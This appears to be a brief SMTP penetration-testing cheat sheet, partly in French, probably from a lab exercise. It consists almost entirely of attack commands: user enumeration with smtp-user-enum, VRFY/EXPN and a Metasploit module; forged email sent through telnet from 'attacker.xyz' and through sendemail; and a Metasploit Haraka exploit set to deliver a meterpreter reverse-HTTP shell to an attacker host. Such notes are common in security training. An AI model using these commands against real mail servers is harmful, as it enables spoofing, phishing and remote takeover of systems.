#enumeration adresses email tool
smtp-user-enum -U /usr/share/commix/src/txt/usernames.txt -t 192.180.169.3
#SMT manual enumeration command
VRFY
EXPN
#via metasploit
msf> use auxiliary/scanner/smtp/smtp_enum
#envoi email en CLI
telnet 192.26.29.3 25
HELO attacker.xyz
mail from: [email protected]
rcpt to:[email protected]
data
Subject: Hi Root
Hello,
This is a fake mail sent using telnet command.
From,
Admin
.
#envoi email via sendemail
sendemail -f [email protected] -t [email protected] -s 192.26.29.3 -u
Fakemail -m "Hi root, a fake from admin" -o tls=no
Vulnérabilités
use exploit/linux/smtp/haraka
set SRVPORT 9898
set email_to [email protected]
set payload linux/x64/meterpreter_reverse_http
set rhost 192.150.137.3
set LHOST 192.150.137.2
exploit
